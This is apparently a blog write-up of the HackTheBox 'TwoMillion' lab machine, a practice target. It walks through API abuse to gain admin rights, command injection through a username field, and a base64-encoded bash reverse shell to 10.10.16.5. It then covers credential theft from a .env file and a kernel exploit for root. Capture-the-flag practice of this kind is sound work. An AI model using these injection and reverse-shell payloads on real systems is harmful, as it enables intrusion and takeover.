Source: freepik

HackTheBox: TwoMillion

Daniel Edwards

--

Hello everyone! Today I will be covering the TwoMillion challenge from HackTheBox. This machine is one of their retired boxes and as such walkthroughs and a guided approach are available, if you ever decide to attempt it. TwoMillion is rated as an “Easy” box, however, that is subjective. It did help me learn a lot more about cURL! I referenced reqbin.com MANY times to help me get over the hump.

*Disclaimer*

As always, my walkthroughs will be giving away EVERYTHING. I want people to learn as much as possible and not be an impediment to their learning, so therefore my walkthroughs are completely, 100% transparent. This does not mean you can just copy what I did, use it to facilitate your learning and form your own techniques.

Techniques Covered

  • Nmap Scanning
  • Modifying local DNS Service
  • Directory Brute Forcing
  • Inspecting Web Site Source
  • cURL Commands
  • Ciphers
  • Making API Requests
  • base64 Encoding/Decoding
  • SSH
  • Transfering Files via SCP

NMAP Scanning

Kicked things off with the following nmap scan

sudo nmap 10.10.11.221 -sV -A -Pn -sC

-sV : Get the service version

-A: Will also get the service version but also the OS name, if available

-sC: Get all default NSE scripts

nmap Results:

  • SSH port 22/TCP is open
  • Port 80 is open with the following message: “Did not follow redirect to http://2million.htb”

We now know that http://2million.htb is available via port 80, however, there’s something we have to do to ensure it’s accessible — edit our /etc/hosts file with the target IP and the site name.

Edit /etc/hosts File:

echo "10.10.11.221 2million.htb" | tee -a /etc/hosts

-echo “10.10.11.221 2million.htb” : specifies the text to insert

-tee: reads the standard input into /etc/hosts

-a: appends the text to the end of /etc/hosts

Browse to the web site:

We are directed to the landing page

We’ll also enumerate all directories we have access to via feroxbuster

Directory Brute Forcing:

feroxbuster -u http://2million.htb -s 200

-u specifies the URL

-s specifies the HTTP status code, here we want to see nothing but the 200's

Pages we have access to: register, login and invite. Nothing interesting from the first two pages, unto the invite page. Inspect the web page and select Debugger. Prettify the htb-frontend.min.js and inviteapi.min.js so you can make the code more readable. In the inviteapi.min.js file, the return statement contains some interesting data. There appears to be a few functions being called, verifyInviteCode and makeInviteCode. How do I know these are functions? Well for one, the naming style. It’s similar to camel case. Those two are also the only items that describe an action.

How do I know these are functions? Well for one, the naming style. It’s in camel case. Those two function names are also the only items that describe an action.

Ok, now we need to find where else these functions are referenced or better yet, find the file that contains their code blocks. Copy and paste one of them in search bar in the left pane and you will find the function blocks!

Here we see that both are making POST requests to verify and generate the invite code. What tool can we use to send a POST request and query the server? Curl!!

Making API Requests via cURL

curl -sX POST http://2million.htb/api/v1/invite/verify

-s: mutes curl, does not show progress or error messages
-X: is the request method
-POST: this is the request method we’re using, since we’re sending data to the server

This first cURL API request doesn’t yield anything, unto to the second.

curl -sX POST http://2million.htb/api/v1/invite/how/to/generate

What does this message tell us?
— We have an encrypted message
— Encryption type is ROT13, given by “encytpe:ROT13”
— Hint — “Data is encrypted…We should probably check the encryption type in order to decrypt it..”

Google ROT13, find the website and go to it. ROT13.com, throw the message in the dialog box.

ROT13: https://en.wikipedia.org/wiki/ROT13

We get another message “In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate”. Make another POST request to the specified API address.

curl -sX POST http://2million.htb/api/v1/invite/generate

Here we see what appears to be a base64 encoded string, now decode it with base64 -d

echo "OE5QVTMtMFRCUDEtTDZIN0QtOTBXQTA=" | base64 -d 

Decoded result: 8NPU3–0TBP1-L6H7D-90WA0….this is the invite code!

Now let’s see if it works, go back to the invite page and submit the invite code. You will then be able to register
- I used user for the username and password.
- Use @hackthebox.htb for the email domain just to be safe

And we’re in!

Go the the “Access” page. Fire up burpsuite. Download the opevpn ovpn file by selecting “Connection Pack” and observe burpsuite. If you don’t know how to operate burpsuite, check out my initial set up guide to get up to speed!

Burp intercepts the request and shows us an API call to generate the vpn connection for the user

Burp shows us there is an API address to generate the VPN certificate, so issue another cURL request with that address

curl -sX POST http://2million.htb/home/access/api/v1/user/vpn/generate

Here we see the page has been moved. Using the cookie found when intercepting the request with burp, make another curl request up to the /user level

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -sv http://2million.htb/api/v1/user

- -cookie: Cookies are passed to Curl with the — cookie “Name=Value” command line parameter

Go back one level to /v1…same response. Go back one more, to /api and…Success!!

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -sv http://2million.htb/api/

Now, return one level forward:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -sv http://2million.htb/api/v1 | jq

The API call to /api/v1 shows us the instructions for generating an invite code for a regular user, registering a new user and determining if the user is admin. Make a curl request to /api/v1/admin/settings/update, but note the method change. PUT will be used instead of the POST because that is the method required to make the update api call:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX PUT http://2million.htb | jq

We get a 200 OK message, the page is accessible to us! However, look at the message we received at the end. The “Invalid content type”, tells us it’s expecting a JSON type. Run the command again but specify the JSON as the application/json type:

After running take a look at the message again, “Missing parameter: email”. Input your email with the curl command:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX PUT http://2million.htb/api/v1/admin/settings/update -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb"}' | jq

It’s asking if we’re the admin, so run another curl with this item set to true in the request:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX PUT http://2million.htb/api/v1/admin/settings/update -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":true}' | jq

You’ll receive an error message stating “Variable is_admin needs to be either 0 or 1”…so, you know what to do…

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX PUT http://2million.htb/api/v1/admin/settings/update -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":1}' | jq

We’ve now verified ourselves as the admin. Running the following, we determine this to be true:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -sv http://2million.htb/api/v1 | jq

Verified user is the admin. Generate a vpn certificate for this user:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX POST http://2million.htb/api/v1/admin/vpn/generate -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":1}' | jq

New error message “Missing parameter: username”

Another attempt at generating the VPN certificate…

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX POST http://2million.htb/api/v1/admin/vpn/geanerate -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":1, "username":"user"}' 

These parameter values are going through some type of validation/verification. There’s a mechanism in place that may not be checking for dangerous characters. Append ;ls; to the end of the username and see what we get:

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX POST http://2million.htb/api/v1/admin/vpn/generate -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":1, "username":"user;ls;"}'

It listed several files!

Find the user flag

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX POST http://2million.htb/api/v1/admin/vpn/generate -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":1, "username":"user;find / -type f -name user.txt;"}'

Using the find command, we’ve found the user.txt flag, however, when I tried cat’ing the file, nothing worked.

Shell Access

Use highoncoffee for all your reverse shell needs! Encrypt your reverse shell with base64. Initiate your netcat listener and execute your reverse shell.

curl --cookie "PHPSESSID=jgfva48frp29fvdlt5ns0q3lmh" -vX POST http://2million.htb/api/v1/admin/vpn/generate -H "Content-Type: application/json" -d '{"email":"user@hackthebox.htb", "is_admin":1, "username":"user;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi41Lzk5OTkgMD4mMQo= | base64 -d | bash ;"}'

And we have a shell!

User Flag

When performing the injection we saw that there were a number of php files. Nothing is hard coded in them but let’s see what else is in this directory. Performing an ls -la will reveal a .env file, cat the file and the credentials for the admin will be displayed

Our initial nmap scan showed that port SSH is also open. Attempt an SSH connection with these credentials the target box — 10.10.11.221 with the recently found admin credentials:

Look in the /var/mail for an email sent to the admin.

  • There’s a Linux kernel exploit that affects the OverlayFS/FUSE
    - DataDog gives a good prem analysis on it, along with some detections
    https://securitylabs.datadoghq.com/articles/overlayfs-cve-2023-0386/
    - Grab the CVE and search for it in GitHub. GitHub is an resource for finding working exploits
    - Transfer the file, I chose to use scp since I already have the password for the target’s admin account. Else, I’ve would’ve used python’s simple http server and wget to grab the file on the victim end

Execute the bash file and you’ve got root! Now go to the root folder for the flag!

--

--

Daniel Edwards

Padawon Pentester and dabbler in many things infoSec related